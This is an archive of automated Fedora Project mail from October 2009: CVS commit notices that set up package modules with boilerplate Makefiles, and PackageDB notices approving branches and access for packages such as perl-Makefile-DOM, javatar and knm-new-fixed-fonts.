In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg20047/rpms/RabbIT/devel

Log Message:
Directory /cvs/pkgs/rpms/RabbIT/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:04:40 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:04:40 +0000 (UTC)
Subject: rpms/RabbIT - New directory
Message-ID: <20091029000440.3E6C011C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/RabbIT
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg20047/rpms/RabbIT

Log Message:
Directory /cvs/pkgs/rpms/RabbIT added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:04:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:04:59 +0000 (UTC)
Subject: rpms/RabbIT/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091029000459.CF40B11C02BD@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/RabbIT/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg20047/rpms/RabbIT/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module RabbIT


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: RabbIT
# $Id: Makefile,v 1.1 2009/10/29 00:04:58 kevin Exp $
NAME := RabbIT
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Thu Oct 29 00:04:58 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:04:58 +0000 (UTC)
Subject: rpms/RabbIT Makefile,NONE,1.1
Message-ID: <20091029000458.C302711C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/RabbIT
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg20047/rpms/RabbIT

Added Files:
	Makefile 
Log Message:
Setup of module RabbIT


--- NEW FILE Makefile ---
# Top level Makefile for module RabbIT
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Thu Oct 29 00:05:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:05:38 +0000
Subject: [pkgdb] perl-Makefile-DOM was added for ryanlerch
Message-ID: <20091029000538.9DFA510F89C@bastion2.fedora.phx.redhat.com>

kevin has added Package perl-Makefile-DOM with summary Simple DOM parser for Makefiles
kevin has approved Package perl-Makefile-DOM
kevin has added a Fedora devel branch for perl-Makefile-DOM with an owner of ryanlerch
kevin has approved perl-Makefile-DOM in Fedora devel
kevin has approved Package perl-Makefile-DOM
kevin has set commit to Approved for 107427 on perl-Makefile-DOM (Fedora devel)
kevin has set checkout to Approved for 107427 on perl-Makefile-DOM (Fedora devel)
kevin has set build to Approved for 107427 on perl-Makefile-DOM (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-DOM



From pkgdb at fedoraproject.org  Thu Oct 29 00:05:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:05:42 +0000
Subject: [pkgdb] perl-Makefile-DOM summary updated by kevin
Message-ID: <20091029000542.5E20910F8A2@bastion2.fedora.phx.redhat.com>

kevin set package perl-Makefile-DOM summary to Simple DOM parser for Makefiles

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-DOM



From pkgdb at fedoraproject.org  Thu Oct 29 00:05:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:05:42 +0000
Subject: [pkgdb] perl-Makefile-DOM (Fedora, 10) updated by kevin
Message-ID: <20091029000542.6740810F8A8@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on perl-Makefile-DOM (Fedora devel) for perl-sig
kevin approved watchcommits on perl-Makefile-DOM (Fedora devel) for perl-sig
kevin approved watchbugzilla on perl-Makefile-DOM (Fedora devel) for kanarip
kevin approved watchcommits on perl-Makefile-DOM (Fedora devel) for kanarip
kevin approved commit on perl-Makefile-DOM (Fedora devel) for kanarip
kevin approved build on perl-Makefile-DOM (Fedora devel) for kanarip
kevin approved approveacls on perl-Makefile-DOM (Fedora devel) for kanarip

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-DOM



From pkgdb at fedoraproject.org  Thu Oct 29 00:05:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:05:42 +0000
Subject: [pkgdb] perl-Makefile-DOM (Fedora, 10) updated by kevin
Message-ID: <20091029000542.7B14010F8B2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for perl-Makefile-DOM
kevin has set commit to Approved for 107427 on perl-Makefile-DOM (Fedora 11)
kevin has set checkout to Approved for 107427 on perl-Makefile-DOM (Fedora 11)
kevin has set build to Approved for 107427 on perl-Makefile-DOM (Fedora 11)
kevin approved watchbugzilla on perl-Makefile-DOM (Fedora 11) for perl-sig
kevin approved watchcommits on perl-Makefile-DOM (Fedora 11) for perl-sig
kevin approved watchbugzilla on perl-Makefile-DOM (Fedora 11) for kanarip
kevin approved watchcommits on perl-Makefile-DOM (Fedora 11) for kanarip
kevin approved commit on perl-Makefile-DOM (Fedora 11) for kanarip
kevin approved build on perl-Makefile-DOM (Fedora 11) for kanarip
kevin approved approveacls on perl-Makefile-DOM (Fedora 11) for kanarip

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-DOM



From pkgdb at fedoraproject.org  Thu Oct 29 00:05:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:05:42 +0000
Subject: [pkgdb] perl-Makefile-DOM (Fedora, 10) updated by kevin
Message-ID: <20091029000542.92EB610F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for perl-Makefile-DOM
kevin has set commit to Approved for 107427 on perl-Makefile-DOM (Fedora 12)
kevin has set checkout to Approved for 107427 on perl-Makefile-DOM (Fedora 12)
kevin has set build to Approved for 107427 on perl-Makefile-DOM (Fedora 12)
kevin approved watchbugzilla on perl-Makefile-DOM (Fedora 12) for perl-sig
kevin approved watchcommits on perl-Makefile-DOM (Fedora 12) for perl-sig
kevin approved watchbugzilla on perl-Makefile-DOM (Fedora 12) for kanarip
kevin approved watchcommits on perl-Makefile-DOM (Fedora 12) for kanarip
kevin approved commit on perl-Makefile-DOM (Fedora 12) for kanarip
kevin approved build on perl-Makefile-DOM (Fedora 12) for kanarip
kevin approved approveacls on perl-Makefile-DOM (Fedora 12) for kanarip

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-DOM



From pkgdb at fedoraproject.org  Thu Oct 29 00:05:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:05:42 +0000
Subject: [pkgdb] perl-Makefile-DOM (Fedora, 10) updated by kevin
Message-ID: <20091029000542.AB13B10F8BA@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for perl-Makefile-DOM
kevin has set commit to Approved for 107427 on perl-Makefile-DOM (Fedora 10)
kevin has set checkout to Approved for 107427 on perl-Makefile-DOM (Fedora 10)
kevin has set build to Approved for 107427 on perl-Makefile-DOM (Fedora 10)
kevin approved watchbugzilla on perl-Makefile-DOM (Fedora 10) for perl-sig
kevin approved watchcommits on perl-Makefile-DOM (Fedora 10) for perl-sig
kevin approved watchbugzilla on perl-Makefile-DOM (Fedora 10) for kanarip
kevin approved watchcommits on perl-Makefile-DOM (Fedora 10) for kanarip
kevin approved commit on perl-Makefile-DOM (Fedora 10) for kanarip
kevin approved build on perl-Makefile-DOM (Fedora 10) for kanarip
kevin approved approveacls on perl-Makefile-DOM (Fedora 10) for kanarip

To make changes to this package see:
  /pkgdb/packages/name/perl-Makefile-DOM



From kevin at fedoraproject.org  Thu Oct 29 00:05:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:05:52 +0000 (UTC)
Subject: rpms/perl-Makefile-DOM - New directory
Message-ID: <20091029000552.1DEDB11C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Makefile-DOM
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsL21060/rpms/perl-Makefile-DOM

Log Message:
Directory /cvs/pkgs/rpms/perl-Makefile-DOM added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:05:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:05:52 +0000 (UTC)
Subject: rpms/perl-Makefile-DOM/devel - New directory
Message-ID: <20091029000552.5322011C0336@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Makefile-DOM/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsL21060/rpms/perl-Makefile-DOM/devel

Log Message:
Directory /cvs/pkgs/rpms/perl-Makefile-DOM/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:05:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:05:59 +0000 (UTC)
Subject: rpms/perl-Makefile-DOM Makefile,NONE,1.1
Message-ID: <20091029000559.B074411C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Makefile-DOM
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsL21060/rpms/perl-Makefile-DOM

Added Files:
	Makefile 
Log Message:
Setup of module perl-Makefile-DOM


--- NEW FILE Makefile ---
# Top level Makefile for module perl-Makefile-DOM
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 29 00:06:00 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:06:00 +0000 (UTC)
Subject: rpms/perl-Makefile-DOM/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091029000600.2ACC011C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Makefile-DOM/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsL21060/rpms/perl-Makefile-DOM/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module perl-Makefile-DOM


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: perl-Makefile-DOM
# $Id: Makefile,v 1.1 2009/10/29 00:05:59 kevin Exp $
NAME := perl-Makefile-DOM
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 29 00:06:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:06:24 +0000
Subject: [pkgdb] javatar was added for orion
Message-ID: <20091029000625.05ECF10F880@bastion2.fedora.phx.redhat.com>

kevin has added Package javatar with summary Java tar archive io package
kevin has approved Package javatar
kevin has added a Fedora devel branch for javatar with an owner of orion
kevin has approved javatar in Fedora devel
kevin has approved Package javatar
kevin has set commit to Approved for 107427 on javatar (Fedora devel)
kevin has set checkout to Approved for 107427 on javatar (Fedora devel)
kevin has set build to Approved for 107427 on javatar (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/javatar



From pkgdb at fedoraproject.org  Thu Oct 29 00:06:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:06:26 +0000
Subject: [pkgdb] javatar summary updated by kevin
Message-ID: <20091029000626.4327D10F89A@bastion2.fedora.phx.redhat.com>

kevin set package javatar summary to Java tar archive io package

To make changes to this package see:
  /pkgdb/packages/name/javatar



From pkgdb at fedoraproject.org  Thu Oct 29 00:06:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:06:26 +0000
Subject: [pkgdb] javatar (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029000626.4AFEC10F8A6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for javatar
kevin has set commit to Approved for 107427 on javatar (Fedora 11)
kevin has set checkout to Approved for 107427 on javatar (Fedora 11)
kevin has set build to Approved for 107427 on javatar (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/javatar



From pkgdb at fedoraproject.org  Thu Oct 29 00:06:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:06:26 +0000
Subject: [pkgdb] javatar (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029000626.5470610F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for javatar
kevin has set commit to Approved for 107427 on javatar (Fedora 12)
kevin has set checkout to Approved for 107427 on javatar (Fedora 12)
kevin has set build to Approved for 107427 on javatar (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/javatar



From pkgdb at fedoraproject.org  Thu Oct 29 00:06:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:06:26 +0000
Subject: [pkgdb] javatar (Fedora EPEL, 5) updated by kevin
Message-ID: <20091029000626.64EB010F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for javatar
kevin has set commit to Approved for 107427 on javatar (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on javatar (Fedora EPEL 5)
kevin has set build to Approved for 107427 on javatar (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/javatar



From kevin at fedoraproject.org  Thu Oct 29 00:06:35 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:06:35 +0000 (UTC)
Subject: rpms/javatar - New directory
Message-ID: <20091029000635.27CE511C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/javatar
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsE21403/rpms/javatar

Log Message:
Directory /cvs/pkgs/rpms/javatar added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:06:35 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:06:35 +0000 (UTC)
Subject: rpms/javatar/devel - New directory
Message-ID: <20091029000635.4304411C02BD@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/javatar/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsE21403/rpms/javatar/devel

Log Message:
Directory /cvs/pkgs/rpms/javatar/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:06:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:06:42 +0000 (UTC)
Subject: rpms/javatar Makefile,NONE,1.1
Message-ID: <20091029000642.9DE5311C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/javatar
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsE21403/rpms/javatar

Added Files:
	Makefile 
Log Message:
Setup of module javatar


--- NEW FILE Makefile ---
# Top level Makefile for module javatar
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 29 00:06:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:06:43 +0000 (UTC)
Subject: rpms/javatar/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091029000643.0B3D111C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/javatar/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsE21403/rpms/javatar/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module javatar


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: javatar
# $Id: Makefile,v 1.1 2009/10/29 00:06:42 kevin Exp $
NAME := javatar
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 29 00:07:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:07:36 +0000
Subject: [pkgdb] knm-new-fixed-fonts was added for tagoh
Message-ID: <20091029000736.2CE3C10F880@bastion2.fedora.phx.redhat.com>

kevin has added Package knm-new-fixed-fonts with summary 12x12 JIS X 0208 Bitmap fonts
kevin has approved Package knm-new-fixed-fonts
kevin has added a Fedora devel branch for knm-new-fixed-fonts with an owner of tagoh
kevin has approved knm-new-fixed-fonts in Fedora devel
kevin has approved Package knm-new-fixed-fonts
kevin has set commit to Approved for 107427 on knm-new-fixed-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on knm-new-fixed-fonts (Fedora devel)
kevin has set build to Approved for 107427 on knm-new-fixed-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/knm-new-fixed-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 00:07:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:07:38 +0000
Subject: [pkgdb] knm-new-fixed-fonts summary updated by kevin
Message-ID: <20091029000738.C804A10F895@bastion2.fedora.phx.redhat.com>

kevin set package knm-new-fixed-fonts summary to 12x12 JIS X 0208 Bitmap fonts

To make changes to this package see:
  /pkgdb/packages/name/knm-new-fixed-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 00:07:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:07:38 +0000
Subject: [pkgdb] knm-new-fixed-fonts (Fedora, 10) updated by kevin
Message-ID: <20091029000738.D82D810F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for knm-new-fixed-fonts
kevin has set commit to Approved for 107427 on knm-new-fixed-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on knm-new-fixed-fonts (Fedora 11)
kevin has set build to Approved for 107427 on knm-new-fixed-fonts (Fedora 11)
kevin approved watchbugzilla on knm-new-fixed-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on knm-new-fixed-fonts (Fedora 11) for fonts-sig
kevin approved watchbugzilla on knm-new-fixed-fonts (Fedora 11) for i18n-team
kevin approved watchcommits on knm-new-fixed-fonts (Fedora 11) for i18n-team

To make changes to this package see:
  /pkgdb/packages/name/knm-new-fixed-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 00:07:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:07:38 +0000
Subject: [pkgdb] knm-new-fixed-fonts (Fedora, 10) updated by kevin
Message-ID: <20091029000738.DAF9810F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for knm-new-fixed-fonts
kevin has set commit to Approved for 107427 on knm-new-fixed-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on knm-new-fixed-fonts (Fedora 12)
kevin has set build to Approved for 107427 on knm-new-fixed-fonts (Fedora 12)
kevin approved watchbugzilla on knm-new-fixed-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on knm-new-fixed-fonts (Fedora 12) for fonts-sig
kevin approved watchbugzilla on knm-new-fixed-fonts (Fedora 12) for i18n-team
kevin approved watchcommits on knm-new-fixed-fonts (Fedora 12) for i18n-team

To make changes to this package see:
  /pkgdb/packages/name/knm-new-fixed-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 00:07:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:07:38 +0000
Subject: [pkgdb] knm-new-fixed-fonts (Fedora, 10) updated by kevin
Message-ID: <20091029000738.E7CC510F8AB@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on knm-new-fixed-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on knm-new-fixed-fonts (Fedora devel) for fonts-sig
kevin approved watchbugzilla on knm-new-fixed-fonts (Fedora devel) for i18n-team
kevin approved watchcommits on knm-new-fixed-fonts (Fedora devel) for i18n-team

To make changes to this package see:
  /pkgdb/packages/name/knm-new-fixed-fonts



From pkgdb at fedoraproject.org  Thu Oct 29 00:07:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:07:38 +0000
Subject: [pkgdb] knm-new-fixed-fonts (Fedora, 10) updated by kevin
Message-ID: <20091029000738.F07C610F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for knm-new-fixed-fonts
kevin has set commit to Approved for 107427 on knm-new-fixed-fonts (Fedora 10)
kevin has set checkout to Approved for 107427 on knm-new-fixed-fonts (Fedora 10)
kevin has set build to Approved for 107427 on knm-new-fixed-fonts (Fedora 10)
kevin approved watchbugzilla on knm-new-fixed-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on knm-new-fixed-fonts (Fedora 10) for fonts-sig
kevin approved watchbugzilla on knm-new-fixed-fonts (Fedora 10) for i18n-team
kevin approved watchcommits on knm-new-fixed-fonts (Fedora 10) for i18n-team

To make changes to this package see:
  /pkgdb/packages/name/knm-new-fixed-fonts



From kevin at fedoraproject.org  Thu Oct 29 00:07:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:07:50 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts - New directory
Message-ID: <20091029000750.6670711C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc21988/rpms/knm-new-fixed-fonts

Log Message:
Directory /cvs/pkgs/rpms/knm-new-fixed-fonts added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:07:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:07:50 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/devel - New directory
Message-ID: <20091029000750.89BED11C0337@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc21988/rpms/knm-new-fixed-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/knm-new-fixed-fonts/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 29 00:08:08 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:08:08 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts Makefile,NONE,1.1
Message-ID: <20091029000808.4212A11C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc21988/rpms/knm-new-fixed-fonts

Added Files:
	Makefile 
Log Message:
Setup of module knm-new-fixed-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module knm-new-fixed-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 29 00:08:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 29 Oct 2009 00:08:09 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091029000809.565CA11C0073@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc21988/rpms/knm-new-fixed-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module knm-new-fixed-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: knm-new-fixed-fonts
# $Id: Makefile,v 1.1 2009/10/29 00:08:08 kevin Exp $
NAME := knm-new-fixed-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 29 00:09:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:09:00 +0000
Subject: [pkgdb] gnome-globalmenu (Fedora, 11) updated by kevin
Message-ID: <20091029000900.F1DFC10F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gnome-globalmenu
kevin has set commit to Approved for 107427 on gnome-globalmenu (Fedora 11)
kevin has set checkout to Approved for 107427 on gnome-globalmenu (Fedora 11)
kevin has set build to Approved for 107427 on gnome-globalmenu (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnome-globalmenu



From pkgdb at fedoraproject.org  Thu Oct 29 00:09:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:09:00 +0000
Subject: [pkgdb] gnome-globalmenu (Fedora, 11) updated by kevin
Message-ID: <20091029000901.0C31810F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gnome-globalmenu
kevin has set commit to Approved for 107427 on gnome-globalmenu (Fedora 12)
kevin has set checkout to Approved for 107427 on gnome-globalmenu (Fedora 12)
kevin has set build to Approved for 107427 on gnome-globalmenu (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnome-globalmenu



From pkgdb at fedoraproject.org  Thu Oct 29 00:09:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 00:09:49 +0000
Subject: [pkgdb] qbrew was added for cstpierre
Message-ID: <20091029000949.7491E10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package qbrew with summary A Brewing Recipe Calculator
kevin has approved Package qbrew
